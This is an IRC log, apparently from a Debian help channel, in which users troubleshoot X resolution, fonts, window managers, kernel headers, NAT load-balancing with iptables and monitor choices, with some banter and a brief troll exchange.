| 05:11.29 | itchi | rahul: Ba, at your eyes maybe |
| 05:11.55 | Gge | still downloading and installing the 2 packages 1 selected ( base and xorg , 711 files , 4 hours) |
| 05:12.17 | itchi | Gge: Slow ISP :-) |
| 05:12.36 | Gge | itchi , Yes 256 kbits |
| 05:12.56 | Gge | cable modem |
| 05:13.06 | itchi | Gge: That's my upload :-) yeah, but have an 10 GB download limit and 2 GB up :-( No choice here |
| 05:13.35 | Gge | itchi , i have no limit ( great) |
| 05:13.48 | Gge | for volume |
| 05:14.09 | itchi | Gge: Yeah, better slow (real)unlimited connection than an fast limited connection |
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| 05:19.44 | eduhat | how can i get more resolution. i know my monitor could go 1027*768 but right now the highest i could set it at is 800*600 |
| 05:20.49 | itchi | eduhat: dpkg-reconfigue xserver-xfree86 or xorg |
| 05:21.13 | itchi | eduhat: a tipo reconfigure |
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| 05:27.54 | Cyis | back to try and get this livecd to operate on this machine... |
| 05:28.16 | liable | eduhat: check your x log to see if theres a reason why its not using higher res, usually because the sync rates are wrong |
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| 05:38.18 | CLucas_x64 | does anyone have any tips for getting smoother looking fonts in debian |
| 05:38.32 | rahul | in what apps? |
| 05:38.56 | CLucas_x64 | i think firefox is the only one thats bugging me |
| 05:39.03 | CLucas_x64 | very jagged |
| 05:39.37 | rahul | CLucas_x64: how did you install it? |
| 05:39.45 | rahul | CLucas_x64: what font are you telling it to use? |
| 05:40.06 | CLucas_x64 | its just using serif size 16 |
| 05:40.11 | CLucas_x64 | in the preferences |
| 05:40.23 | CLucas_x64 | i meant iceweasel btw |
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| 05:43.38 | rahul | CLucas_x64: so you're using a bitmap font and you wonder why it's not smooth? heh |
| 05:43.51 | rahul | try a ttf |
| 05:44.01 | CLucas_x64 | eh |
| 05:44.07 | CLucas_x64 | i cant find one i like |
| 05:44.13 | CLucas_x64 | i dont have many fonts installed |
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| 05:44.49 | lolnada | Hi |
| 05:44.50 | lolnada | is there someone who develop in Java in here? |
| 05:45.08 | rahul | CLucas_x64: so um... how do you fix that? |
| 05:45.14 | rahul | lolnada: not any more |
| 05:45.37 | lolnada | CRAP |
| 05:45.44 | rahul | SHIT |
| 05:45.54 | CLucas_x64 | rahul, i just chose sans-serif, it looks better |
| 05:46.10 | lolnada | Is there someone who develop in Java in here? |
| 05:46.20 | CLucas_x64 | lolnada, dont ask twice |
| 05:46.24 | lolnada | is there someone who develop in Java in here? |
| 05:46.24 | rahul | lolnada: didn't you ask that already? |
| 05:46.27 | lolnada | three |
| 05:46.28 | rahul | wtf |
| 05:46.31 | lolnada | yes |
| 05:46.34 | lolnada | never mind |
| 05:46.36 | rahul | lolnada: stfu and get lost |
| 05:46.39 | CLucas_x64 | go |
| 05:46.40 | lolnada | what is wtf? |
| 05:46.48 | CLucas_x64 | bye |
| 05:47.20 | lolnada | sucker |
| 05:47.24 | lolnada | you're such a fool |
| 05:47.53 | lolnada | hey |
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| 05:48.08 | rahul | yes, I'm the fool. |
| 05:48.16 | lolnada | prepotent |
| 05:48.20 | rahul | says the man with a dunce cap |
| 05:48.23 | lolnada | Live to Bill Gates |
| 05:48.30 | lolnada | HE LOVES YOU ALL GUYS |
| 05:48.46 | lolnada | Long live to Bill Gates and .NET |
| 05:48.46 | rahul | !ve |
| 05:49.00 | CLucas_x64 | oh wow |
| 05:49.01 | lolnada | yes, Long live to Windows Millenium |
| 05:49.02 | bucky | the guys in #microsoft develop in Java |
| 05:49.04 | lolnada | LOL |
| 05:49.20 | lolnada | I don't think so |
| 05:49.23 | lolnada | microsoft sucks |
| 05:49.27 | kgoetz | dont feed the troll guys |
| 05:49.29 | rahul | !ops lolnada trolling and being annoying |
| 05:49.30 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem, Maulkin, stew, peterS, Alife, Myon, Ganneff, Maulkin, weasel: rahul complains about: lolnada trolling and being annoying |
| 05:49.31 | yungknight | i give microsoft 5 years after gates leaves |
| 05:50.21 | yungknight | lol |
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| 05:51.11 | lolnada | when will be released etch? |
| 05:51.22 | lolnada | I use b3 |
| 05:51.52 | yungknight | i think enterprise is out |
| 05:52.07 | kgoetz | etch? hopefully when its ready |
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| 05:52.18 | mentor | Make my day... |
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| 05:53.00 | kgoetz | ty. |
| 05:53.09 | mentor | L( |
| 05:53.25 | kgoetz | :) |
| 05:53.30 | mentor | wasn;t as fun as it could have been... |
| 05:53.34 | rorsini | hi. can someone please explain to my why kernel-headers-2.6.8 is not showing up on the first 4 cd of 3.1r4? |
| 05:53.43 | rorsini | *cd's |
| 05:54.06 | liable | !cd contents |
| 05:54.07 | dpkg | To find out what is on what cd, download the .jigdo template, and zless fooimage.jigdo. In the [Parts] section you will see the list of packages that are contained in the cd. searchable index of the cds: http://www.debian.org/CD/jigdo-cd/#search ; If that one is down, use this listing of sarge packages ordered by CD: http://haydn.debian.org/~ftlerror-guest/list.txt, or http://people.debian.org/~fenio/jigdo-search.php |
| 05:55.15 | mentor | nice hack |
| 05:55.20 | rorsini | sweet |
| 05:55.22 | rorsini | thanks |
| 05:56.01 | rorsini | yeah, downloading a cd just to find the package I need seem a little retarded. I'll try the alternate jigdo searches |
| 05:56.16 | rorsini | r4 doesn't seem to be included in the main debian.org search |
| 05:56.28 | rorsini | e.g.: http://atterer.net/jigdo/jigdo-search.php?q=kernel-headers-2.6.8 |
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| 05:59.53 | rahul | rorsini: why not just download the package from the pool? |
| 06:00.14 | rahul | what is the point of dowloading CDs to get a package? |
| 06:00.19 | rorsini | rahul: welp, I don't have network |
| 06:00.28 | rahul | then how do you download CDs? |
| 06:00.44 | rorsini | well, I have about 6 computers in my home |
| 06:01.05 | rorsini | the whole idea is to compile in a driver for my USB nic |
| 06:01.14 | rorsini | with the, I'll be all set :) |
| 06:01.21 | rorsini | *that |
| 06:01.24 | rahul | ok, so download the package you want |
| 06:02.08 | rorsini | yeah, the thing is that I'm not really sure what all is involved |
| 06:02.18 | rorsini | I know it starts with the kernel headers |
| 06:02.26 | rorsini | an a ton of other crap |
| 06:03.12 | rorsini | rahul: but that is a good point |
| 06:03.13 | rahul | compile it on another debian box |
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| 06:03.40 | rorsini | rahul: that's probally a bit over my head |
| 06:03.53 | rahul | and compiling it on a box that doesn't have a connection isnt? |
| 06:04.02 | rorsini | btw, I'm making a bad-ass digital picture frame for my wife :) |
| 06:04.15 | rorsini | rahul: hey now |
| 06:04.38 | rahul | if you can compile the damn module, you can compile it... |
| 06:05.07 | rahul | I don't see how it's easier on a box without network connectivity |
| 06:05.09 | rorsini | yeah? okay |
| 06:06.14 | rorsini | they have to have the same kernel, yeah? |
| 06:06.21 | rahul | no, just the headers |
| 06:06.28 | rorsini | ah |
| 06:06.41 | rorsini | okay, let me give that a spin |
| 06:06.46 | rorsini | thanks for your patience :) |
| 06:08.01 | pstickne | if I've added a user to a group when will I be able to modify files with the g+w permission? |
| 06:08.06 | rorsini | hey, for historical purposes, is there a USB nic that's prefered and known to work with the latest kernel? |
| 06:08.25 | rahul | heh |
| 06:08.51 | rahul | rorsini: I don't know if anyone in this channel has ever tried to use one :P |
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| 06:09.05 | rorsini | rahul: yeah, that sounds about right |
| 06:09.07 | rahul | pstickne: after you log in |
| 06:09.16 | pstickne | rahul, no other way to refresh it? |
| 06:09.18 | rahul | pstickne: group membership is only checked on login |
| 06:09.22 | rahul | pstickne: none that I know of |
| 06:09.24 | rorsini | I wouldn't be either if my kids hadn't hosed my pcmcia slot |
| 06:09.27 | pstickne | rahul, thanks. |
| 06:10.22 | rahul | rorsini: heh |
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| 06:20.39 | liable | !qotd0 |
| 06:20.40 | dpkg | extra, extra, read all about it, qotd77 is <bullet> woohoo here goes dist-upgrade.. this seems so fast after doing an emerge world -e in gentoo |
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| 06:32.40 | michael11 | What's the lowest resource window manager? Fluxbox, ion? |
| 06:34.19 | rahul | maybe icewm |
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| 06:36.02 | jesdynf | I used icewm on my 486. |
| 06:36.20 | jesdynf | It may not be the /lowest/, but it's gotta be up there. |
| 06:36.49 | kspath | michael11, I like openbox3 and ion on my weaker machines |
| 06:36.51 | rahul | michael11: why do you need the absolute lowest? |
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| 06:37.20 | rahul | michael11: just don't use X |
| 06:37.40 | kspath | michael11, but of course I dislike wasting resources so I like openbox and ion on the more powerful machines as well |
| 06:37.42 | rahul | any X apps will be far more bloated than any normal window manager |
| 06:37.59 | jesdynf | michael11: Yeah, rahul's right, I'm retracting my vote. The lowest resource window manager is actually screen. |
| 06:38.04 | rahul | I dislike wasting my own time |
| 06:38.18 | rahul | that's the most expensive resource |
| 06:38.22 | kspath | michael11, screen is a great way to avoid wasting resources |
| 06:38.50 | rahul | and screen is multi-windowed :) |
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| 06:39.13 | rahul | it's very modern, it's tabbed |
| 06:39.35 | rahul | all the cool kids are using tabbed software these days |
| 06:39.42 | kspath | hehehe |
| 06:39.43 | michael11 | rahul: I'm going to run it on my home server because there's a certain app I need to run that is only gui |
| 06:39.47 | jesdynf | My old .screenrc opened 25 applications. |
| 06:39.49 | Gge | What wilkl the future for Debian , windows manager or Xorg etc |
| 06:39.51 | rahul | michael11: what app? |
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| 06:40.31 | rahul | michael11: if it's only one app, you don't need a WM. |
| 06:40.42 | jesdynf | Well, 25 overstates it. Really only 22 or so. |
| 06:40.52 | rahul | jesdynf: heh, only |
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| 06:41.19 | paroneayea | augh... so I've installed debian on my t43 but it seems my cdrom drive does not show up. I remember there being some file you had to edit, but I forget what it was, to get it to show up |
| 06:41.22 | paroneayea | the device isn't even there |
| 06:41.24 | michael11 | rahul: I like to use my server for file sharing so I want to run azureus |
| 06:41.40 | kspath | ugh |
| 06:41.52 | enouf | awe . I was expecting webmin .. hehe |
| 06:41.58 | jesdynf | rahul: Aptitude is very slow to load on a 486. I much preferred loading it and then swapping it out. |
| 06:42.06 | rahul | jesdynf: yes, true |
| 06:42.15 | liable | is that the one with the weird sata/pci bridge hack thingo? |
| 06:42.22 | rahul | michael11: uh, you need a gui for bittorent? |
| 06:42.42 | michael11 | rahul:I really hate java but azureus is the only full featured linux bt client that I have found |
| 06:42.55 | chris_goe | rtorrent? |
| 06:43.07 | michael11 | rahul:there's rtorrent but that often gets banned by private trackers :( |
| 06:43.18 | rahul | you're using a java app and you care about how bloated your WM is? |
| 06:43.33 | kspath | hehhehehehehe |
| 06:43.37 | michael11 | well, you know... to minimize the effect as much as possible |
| 06:44.04 | michael11 | and sometimes while I'm at school I like to connect to it over vnc to get around the filters |
| 06:44.21 | michael11 | I was using gnome but that pretty much killed it |
| 06:44.25 | chris_goe | there's also bittornado-gui |
| 06:44.27 | teledyn_roam | paronaeyea what does dmesg |grep hd show? |
| 06:45.00 | michael11 | the output of dmesg with only the lines containing "hd" |
| 06:45.09 | michael11 | errors |
| 06:45.25 | paroneayea | teledyn_roam: just this |
| 06:45.26 | paroneayea | SCSI device sda: 117210240 512-byte hdwr sectors (60012 MB) |
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| 06:46.06 | rahul | michael11: so you go from most bloated and you think you need least bloated? |
| 06:46.33 | teledyn_roam | paroneayea check thinkwiki - might have setup info |
| 06:46.36 | michael11 | Do I have to run rtorrent through ncurses at all times or can I have it just sit in the background as a daemon and send commands to it as necessary through maybe a php script or something? |
| 06:46.59 | michael11 | rahul: it's a start unless you have any other suggestions |
| 06:47.01 | kspath | php? |
| 06:47.10 | rahul | michael11: anything is fine |
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| 06:47.27 | teledyn_roam | thinkwiki.org |
| 06:47.44 | rahul | michael11: especially when you've got this massive java app making any other apps look like fine-tuned assembly |
| 06:47.47 | michael11 | kspath: I'd like to make a web interface for it to easily control it from my desktop or any other computer |
| 06:48.31 | chris_goe | michael11, if you have a webserver running on the box, look at torrentflux. |
| 06:48.33 | michael11 | rahul: do you know of any bit torrent clients that have a lot of features like azureus? |
| 06:48.38 | teledyn_roam | michael11 - how about btdownloadcurses in a screen session? |
| 06:49.00 | rahul | michael11: I don't use bittorrent |
| 06:49.12 | paroneayea | teledyn_roam: yeah I've been looking at that |
| 06:49.13 | michael11 | oh... it's a great thing you know |
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| 06:50.31 | michael11 | rahul: I will move to a better client later and this is only a temporary solution |
| 06:51.29 | michael11 | I got to a point where my RAM had been completely used up and everything had just frozen so I'm hoping to avoid that and make the bad situation as minimal as possible until I get a better client and possibly a web interface together |
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| 06:53.01 | jesdynf | michael11: Just what are you DOING on this server of yours? |
| 06:54.12 | michael11 | jesdynf: I have it run my bit torrent client (azureus) downloading and seeding all the time, media server, file server, test web server |
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| 06:55.58 | jesdynf | michael11: Flinging files around shouldn't take THAT much RAM. Have you considered seeding from a desktop machine and forwarding the ports through your server? |
| 06:57.10 | michael11 | Well, the purpose of it was to keep any of the bt client software off of my desktop so it doesn't take resources and I could actually shutdown my computer without worrying |
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| 06:59.08 | Rustle | hi.. I have a computer with 3 nics, running debian... I have bound two nics, load balanced them now I'm wondering howto route the bound connections to the LAN ? any ideas? |
| 07:00.19 | rahul | Rustle: you have to connect them to a router with a faster upstream connection |
| 07:00.27 | rahul | directly to the router |
| 07:00.53 | teledyn_roam | Rustle - you want to route the lan out through the balanced ifaces? |
| 07:01.52 | Rustle | Well, the 2 nics are WAN and there's one nic left which hopefully will route the two balanced connections to a hub |
| 07:01.54 | Rustle | if you get me |
| 07:02.20 | Rustle | I'm trying to combine the speed of two nics and then route them to another device |
| 07:02.25 | rahul | how will it route twice the traffic into one connection? |
| 07:02.31 | Rustle | I do not know :) |
| 07:02.35 | rahul | exactly |
| 07:02.44 | teledyn_roam | rustle - are the balanced ifaces bonded? |
| 07:02.50 | Rustle | yea |
| 07:02.58 | Rustle | into bond0 |
| 07:03.20 | rahul | you're not going to get more than 100Mb/sec on the internal lan no matter what you do with the wan connection |
| 07:03.54 | teledyn_roam | rustle - i think you can just use a simple iptables NAT rule with bond0 ans your extif and the other as intif |
| 07:04.01 | rahul | and wtf is a noob like you doing with a T3? |
| 07:04.21 | rahul | and if you can afford a t3, why would you use a linux box as a router? get a cisco |
| 07:04.29 | Rustle | I'm not a noob, you're thinking of something completely different |
| 07:04.33 | rahul | oh wait, you have more than a t3 |
| 07:05.14 | rahul | you'd have to have at least an OC3 for it to even matter, and then it's marginal |
| 07:05.19 | Rustle | I have two 10 meg connections, which I want to combine to 20meg by bonded the two nics and load balancing them, or using them one by one to double the speed |
| 07:05.42 | rahul | Rustle: that's not a bonded setup |
| 07:06.08 | rahul | better be to two different ISPs |
| 07:06.11 | Rustle | I know howto do it with windows, using wingate; as a proxy that's all, I'm sure the same thing can be done on debian |
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| 07:06.17 | rahul | and then you won't be able to load balance as easily |
| 07:07.01 | teledyn_roam | jesdynf - how was that? |
| 07:07.01 | Rustle | ok |
| 07:07.24 | rahul | you're saying windows can load balance effectively across two ISPs? |
| 07:07.31 | tuv | hmm.. new aptitude doesn't show its 'progress bar' anymore. only percentage. that's not an improvment! |
| 07:07.53 | jesdynf | teledyn_roam: Worked well enough. Technique was called "shotgunning". Two modems local, two modems remote (well, or one ISDN line). |
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| 07:08.10 | Rustle | I'm saying wingate allows you to bind two nics, and then run a proxy server and use them concurrently |
| 07:08.12 | jesdynf | Assuming I recall correctly. |
| 07:08.23 | rahul | jesdynf: yeah, that's exactly what Rustle doesn't have |
| 07:08.33 | rahul | jesdynf: it's the same as bonding |
| 07:08.39 | jesdynf | teledyn_roam: Not very cost-effective. |
| 07:08.48 | jesdynf | rahul: I gathered. |
| 07:09.13 | rahul | Rustle: you don't have a bonded setup unless your isp tells you you do |
| 07:09.31 | rahul | Rustle: and if they gave you two 10Mb lines bonded together, they're stupid |
| 07:09.44 | Rustle | I have two modems, two different I.P's |
| 07:09.48 | teledyn_roam | you can bond to 2 different switches for hardware redundancy |
| 07:10.16 | rahul | Rustle: a single TCP connection will definitely not be able to use both connections |
| 07:10.27 | rahul | Rustle: if you have different IPs, then you can't bond them |
| 07:10.36 | rahul | a bonded interface has one IP |
| 07:10.58 | Rustle | yea, but isn't that where the load balancing comes in? |
| 07:11.18 | rahul | Rustle: with the single TCP connection? |
| 07:11.24 | rahul | you can't load balance a single TCP connection |
| 07:11.35 | jesdynf | Rustle: You can load balance over them, sure -- some connections use one port, some the other. You can't manage to make one connection use both paths. |
| 07:12.19 | Rustle | Well, all I'm really trying to do is recreate on debian what wingate does |
| 07:12.34 | rahul | Rustle: then you might as well get rid of one of the connections |
| 07:13.05 | rahul | jesdynf: heh, and it would have to be negotiated separately for each server you want to connect to |
| 07:13.07 | teledyn_roam | that can be annoying too - susbequent connections to hosts may go through different outbound paths/ causing issues |
| 07:13.16 | rahul | they'd have to set up special software for you specifically |
| 07:13.38 | jesdynf | rahul: Yeah, that's why I said a tunnel with a willing partner. |
| 07:13.51 | jesdynf | rahul: Not something ad-hoc. |
| 07:14.02 | rahul | oh, to yet another ISP :) |
| 07:14.11 | rahul | you'd want to do it to a backbone, yeah |
| 07:14.15 | tuv | has there been any apt crashing complains here? i've had a few.. |
| 07:14.27 | tuv | and i think i know how to work around them |
| 07:14.45 | tuv | but was wondering how common the problem is |
| 07:16.59 | Rustle | wingate seems to use modem 1 then 2 then 1 then 2 and it doubles speed, that's all I know =/ |
| 07:18.08 | rahul | Rustle: per packet or per tcp connection? |
| 07:18.18 | rahul | Rustle: and you're really gonna have fun with udp |
| 07:19.05 | rahul | Rustle: most ISPs will reject your outgoing packets and you can only receive on one connection |
| 07:19.13 | jesdynf | Rustle: It's per-connection -- I'm reading the howtos right now. |
| 07:19.22 | jesdynf | Rustle: It cycles connections over the available interfaces. |
| 07:19.42 | Rustle | yea something like that |
| 07:19.46 | rahul | Rustle: hah, and http 1.1 pipelining will really piss you off |
| 07:19.52 | jesdynf | Rustle: That's called "load balancing". |
| 07:20.25 | jesdynf | Rustle: It doesn't make one connection twice as fast, it makes /two/ connections as fast as one connection used to be. |
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| 07:20.37 | rahul | you'd have to mark alternating SYN packets in IP tables |
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| 07:21.07 | rahul | and then have DNAT rules that use the mark |
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| 07:21.39 | Rustle | Well I know that, I load balanced the two nics, the two modems I just wanted to know if I could route the two connections out through one but apparently not |
| 07:22.11 | jesdynf | Hey, I wonder if IPv6 could do it. |
| 07:22.17 | jesdynf | It can do everything else. |
| 07:22.32 | jesdynf | Whassa word -- multihoming? |
| 07:22.40 | teledyn_tv | why won't normal NAT work? |
| 07:22.54 | rahul | multihoming requires OSPF or BGP access from your ISP |
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| 07:23.19 | teledyn_tv | what's the difference if the source is a connection from the local machine or one masqueraded through it from another box on the LAN? |
| 07:23.43 | rahul | teledyn_tv: there is no "normal" NAT |
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| 07:23.58 | rahul | it's either DNAT or SNAT depending on how it forwards |
| 07:24.20 | rahul | shouldn't be, right |
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| 07:24.55 | teledyn_tv | $IPTABLES -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE won't work? |
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| 07:26.46 | rahul | hrm, yeah |
| 07:26.50 | rahul | that should be fine |
| 07:28.18 | rahul | the real rule will bemuch more complex than that, tho |
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| 07:30.44 | teledyn_tv | here's a good sample script: http://cui.unige.ch/DI/cours/TechInternet/Fichiers/rc.firewall-2.4 |
| 07:30.55 | rahul | you'd need to add -m mark --mark 1 -p tcp -m tcp --syn |
| 07:31.38 | rahul | with a prerouting -j MARK that marks alternating packets 1 or 2 |
| 07:36.27 | teledyn_tv | rahul: that's to track which of the outbound connections it sends to? |
| 07:37.05 | rahul | yes |
| 07:37.33 | rahul | -m mark --mark 1 -o $EXTIF1 and -m mark --mark 2 -o $EXTIF2 |
| 07:38.22 | teledyn | rahul: but how to keep them separate when they go out of bond0? how can the bonding driver differentiate? |
| 07:38.48 | rahul | teledyn: you can't use bonding in his case |
| 07:38.53 | rahul | this is explicitly not bonding |
| 07:38.54 | teledyn | rahul: or are you totally bypassing the bonding mechanism and implementing it here in iptables? |
| 07:39.10 | rahul | bonding doesn't need any of this hackery :) |
| 07:39.27 | rahul | you just send one frame on one iface and the other on the other iface |
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| 07:39.41 | rahul | it doesn't even operate at the level of IP |
| 07:39.53 | teledyn | rahul: but why not use the bonding driver? isn't that exactly what it can already do? |
| 07:40.04 | rahul | teledyn: no |
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| 07:40.37 | rahul | teledyn: you can't bond across ISPs, for one thing |
| 07:40.42 | rahul | they need to be connected to the same router |
| 07:43.01 | teledyn | that makes sense |
| 07:44.53 | teledyn | what about the serial line load balancing feature of the kernel? |
| 07:45.33 | rahul | that's probably the same idea as bonding |
| 07:45.42 | teledyn | oh, guess not. "this has to be supported at the other end as well" |
| 07:45.48 | rahul | teql? |
| 07:45.59 | rahul | or mppp? |
| 07:46.09 | teledyn | looking at Documentation/networking/eql.txt |
| 07:46.12 | rahul | but yeah, all such things need support at the other end |
| 07:46.19 | rahul | yeah, eql, that's the old one |
| 07:48.01 | teledyn | "If you find yourself craving more bandwidth, and have a ISP that is flexible, it is now possible to bind modems together to work as one point-to-point link to increase your bandwidth." |
| 07:49.52 | teledyn | yeah basically it sounds like bonding, only the router is at the ISP in this case |
| 07:52.31 | rahul | you could probably do it with 2 cable modems |
| 07:52.50 | rahul | or whatever. it would combine on a router at the isp, as well |
| 07:53.07 | rahul | the only thing is that ethernet isn't a WAN link |
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| 07:58.32 | minerale | So I setup thttpd for web serving and it's working just fine -- exept when trying to run cgi programs -- it does not work when the server is setup to chroot, this means I have to copy the interpreter inside the chroot - but I have no idea *how much* i have to copy (python) -- how can I find out ? -- or would it be better to leave out chroot |
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| 08:08.59 | yos872 | Hi |
| 08:09.05 | rahul | minerale: apt-cache show python and look at the dependencies |
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| 08:15.49 | PinBalWyz | Oy! |
| 08:17.27 | PinBalWyz | !opera |
| 08:17.27 | dpkg | extra, extra, read all about it, opera is a commercial web browser for Linux/Windows and other OSes. Version 9.0 is the latest stable version and debs are available at http://www.opera.com/download/linux.html or damn nice browser, especially under the hood. add "deb http://deb.opera.com/opera sarge non-free" to /etc/apt/sources.list, substitute sarge with your favorite Debian release. |
| 08:17.37 | yos872 | i have question, how to copy folder (not file) through sftp? |
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| 08:20.28 | yos872 | from another host? |
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| 08:21.05 | PinBalWiz | . |
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| 08:23.41 | somiaj | in using a regexp for a find replace syntax, how to I say to replace foo with a newline, s/foo/\n/g is not putting new lines each place I see foo. |
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| 08:26.19 | karsten | somiaj: Depends on the regex family. |
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| 08:27.19 | somiaj | karsten: I'm just doing it in vim to put newlines in a file I got that didn't have them. |
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| 08:30.22 | karsten | somiaj: ^M |
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| 08:30.59 | karsten | somiaj: %s/foo/^M/ |
| 08:31.02 | VoX | reserved block space. i know it's used by root/filesystem, but if i set it to zero on a non / drive, will it affect anything else(file fragmentation, etc)? |
| 08:31.11 | VoX | on an ext3 system btw |
| 08:31.27 | karsten | VoX: That's the space reserved for root's exclusive use. |
| 08:31.42 | VoX | yes |
| 08:31.47 | karsten | VoX: Essentially: if you run out of space, root's got a (default) 5% reserve. |
| 08:31.51 | VoX | yes |
| 08:32.52 | karsten | VoX: It also helps keep fragmentation to a minimum. The old rule of thumb was 10%. |
| 08:32.52 | yos872 | i have question, how to copy folder (not file) through sftp from another pc? |
| 08:32.52 | karsten | VoX: I'd leave it at 5% unless I had very good reasons to do otherwise. |
| 08:33.08 | somiaj | karsten: thanks that worked, though I was replacing a ^M character in the first place, *is puzzled but is glad it worked* |
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| 08:33.21 | karsten | yos872: Depends on the ftp implementation. Some offer a "mirror" functionality. If you can possibly use rsync so much the better. |
| 08:33.27 | karsten | somiaj: dos2unix is your friend ;-) |
| 08:33.36 | jjones_ | anyone know of an integrator that has 1U with support for 3x/4x sata? |
| 08:33.44 | karsten | somiaj: And I'm a bit puzzled myself as to how that works, but yeah. |
| 08:33.53 | VoX | karsten: how does it affect file fragmentation tho? i thought there was no file de-fragmentation for ext3? |
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| 08:34.29 | threw | hi all ! |
| 08:35.03 | karsten | VoX: By maintaining a certain minimum amount of free space, the Linux filesystem drivers manage to make efficient allocation decisions which minimize file fragmentation. Keeping 5-10% space free helps accomplish this. </fuzzy understanding> |
| 08:35.12 | karsten | threw: He just left. |
| 08:35.41 | VoX | hmmm ok |
| 08:35.50 | threw | i have a little question: does it exist any other way than googling to know the maximum Dot Clock Frequency of my graphic card (an NVidia Geforce 4MX) in order to generate a modeline please: http://xtiming.sourceforge.net/cgi-bin/xtiming.pl ? |
| 08:37.07 | rahul | threw: are you using a CRT? |
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| 08:38.05 | threw | rahul: well, now yes, but i would like to generate a modeline for the LCD screen ( http://www.acer.fr/acereuro/page9.do?sp=page122&dau34.oid=19161&UserCtxParam=0&GroupCtxParam=0&dctx1=8&CountryISOCtxParam=FR&LanguageISOCtxParam=fr&ctx3=-1&ctx4=France&crc=81774165 ) that i will buy :) |
| 08:38.34 | rahul | threw: frequencies don't matter then |
| 08:38.45 | rahul | just get a 60Hz refresh rate and you're set |
| 08:38.52 | threw | ah ok |
| 08:39.02 | yos872 | kersten: how to login to another host with rync |
| 08:39.41 | rahul | threw: oh, same res as mine |
| 08:40.07 | rahul | threw: you ARE going to use DVI, right? |
| 08:40.39 | threw | no, i only have a VGA output and the european version only have a VGA output ... |
| 08:40.49 | rahul | ugh |
| 08:40.51 | threw | why ? DVI is so myuch better ? |
| 08:40.52 | rahul | that's nasty |
| 08:40.56 | threw | ? |
| 08:40.58 | rahul | yes, DVI is digital |
| 08:41.28 | rahul | X already has a modeline for that res, tho |
| 08:41.42 | rahul | I don't see one in my config... |
| 08:42.20 | threw | yeah, but it seems that there is no problem with thi screen |
| 08:42.29 | threw | ah cool |
| 08:42.37 | rahul | you'll get problems with VGA no matter what |
| 08:42.41 | threw | and what grahic card do you have please? |
| 08:42.48 | rahul | radeon 9700 pro |
| 08:42.51 | threw | why ill get problems ? |
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| 08:43.02 | rahul | oh, that's a crappy monitor actually |
| 08:43.24 | rahul | it's not 24 bit color, it's 18 bit. |
| 08:43.27 | threw | huh |
| 08:43.36 | threw | what monitor is it ?! |
| 08:43.39 | rahul | you'll get bleeding of one pixel to the next |
| 08:43.50 | rahul | the one you pasted, al2216w |
| 08:44.02 | rahul | or you mean mine? |
| 08:44.04 | threw | ah ok, you have the same ? |
| 08:44.13 | rahul | no, mine is the dell 2005fpw |
| 08:44.15 | Rustle | http://www.pfsense.com/index.php?id=26 maybe this could be useful? |
| 08:45.01 | threw | what is this webpage ? |
| 08:45.23 | Rustle | sorry, not regarding your problem threw |
| 08:45.25 | rahul | ... google finds it... |
| 08:45.33 | rahul | oh the one he pasted |
| 08:45.49 | threw | Rustle: ah ok :) |
| 08:46.32 | rahul | threw: I really recommend getting a 24 bit panel with a DVI connector |
| 08:47.00 | threw | yes, but i cant. if i use a DVI connecotr, i must change my craphic card too Oo |
| 08:47.19 | rahul | otherwise, you're going to get really bad image quality... well if you looked at my monitor and the one you're thinking of buying side by side you'd understand :) |
| 08:47.31 | rahul | threw: hrm, what do you have? |
| 08:47.42 | threw | Nvidia Geforce 4MX |
| 08:48.01 | rahul | if you were near me, I could sell you my old radeon 7000 pci, heh |
| 08:48.30 | rahul | but the cheapest video card you can find will be better than a gf4mx |
| 08:48.35 | threw | lol |
| 08:49.22 | threw | yes i know my graphic card is crappy, but i wont have the use of a better graphic card, and i either dont have money to buy an other one.... |
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| 08:49.50 | rahul | then I wouldn't waste it on a crappy monitor either :) |
| 08:50.13 | threw | ... |
| 08:50.15 | rahul | save up till you can afford something worth buying |
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| 08:50.39 | rahul | the only VGA LCDs I have, I got for free |
| 08:50.46 | threw | so what monitor do you advice to me ? |
| 08:51.11 | rahul | your CRT should last forever |
| 08:51.16 | rahul | keep using it for now |
| 08:51.43 | rahul | or buy a new CRT |
| 08:52.05 | threw | ... |
| 08:52.49 | rahul | ... |
| 08:53.34 | threw | well: http://www.lesnumeriques.com/article-203-1386-38.html or translated in english: http://www.systranbox.com/systran/box?systran_lp=fr_en&systran_id=SystranSoft-en&systran_url=http://www.lesnumeriques.com/article-203-1386-38.html&systran_f=1166950355 read the second paragraph |
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| 08:54.13 | Guerin | yes |
| 08:54.34 | Guerin | unless you're a graphic designer or are using a monitor from the early 1990s, they're a waste of money |
| 08:54.40 | Guerin | unless you can get one on the cheap somehow |
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| 08:55.00 | Guerin | I got my phillips 17" crt for $25 - about US$15 |
| 08:55.07 | Guerin | wouldn't pay much more for one |
| 08:55.46 | rahul | he's thinking of buying an LCD that's 18 bit color with only a VGA connector |
| 08:55.53 | Guerin | hah |
| 08:56.12 | Guerin | i have a ferrari with a 2.0 litre engine if you want to buy one of those |
| 08:56.28 | rahul | heh |
| 08:56.28 | threw | <PROTECTED> |
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| 08:56.41 | threw | So, what kind of monitor do you advice to me ? |
| 08:56.55 | threw | or what monitor more exactly |
| 08:57.11 | Guerin | threw: the cheapest one which meets your needs |
| 08:57.20 | Guerin | which, if you were going to buy a vga lcd, aren't very high |
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| 08:57.38 | Guerin | check your local equivalent of ebay or somesuch |
| 08:57.50 | Guerin | seriously |
| 08:57.59 | Guerin | you might think it's cool to have a pimp monitor on your desk |
| 08:58.23 | Guerin | but unless you work with very high-quality graphics (colour profiling, etc) it's not worth the money |
| 08:58.38 | Guerin | like blu-ray and hd-dvd |
| 08:58.49 | Guerin | and 50-inch sony plasma TVs |
| 08:58.54 | Guerin | strictly for poseurs |
| 08:59.01 | teledyn | i'd get a monitor that can do 1080i |
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| 08:59.15 | rahul | teledyn: heh, those cost over $1000 |
| 08:59.17 | Guerin | i wouldn't |
| 08:59.19 | Guerin | use a tv for that |
| 08:59.25 | liable | whats the vogue wireless pcmcia card these days with externel antenna connector? |
| 08:59.25 | teledyn | really? |
| 08:59.32 | rahul | teledyn: really |
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| 08:59.37 | threw | ... the problem is that i have "eyeshaches" (is it correct english ?) when i watch too longer a screen. (im using a 60Hz CRT). so i would like to find a CRT with _higher_ refresh rate or an LCD. but i dont success to find one (or at least in France) |
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| 08:59.53 | threw | or i dont success to find a good one |
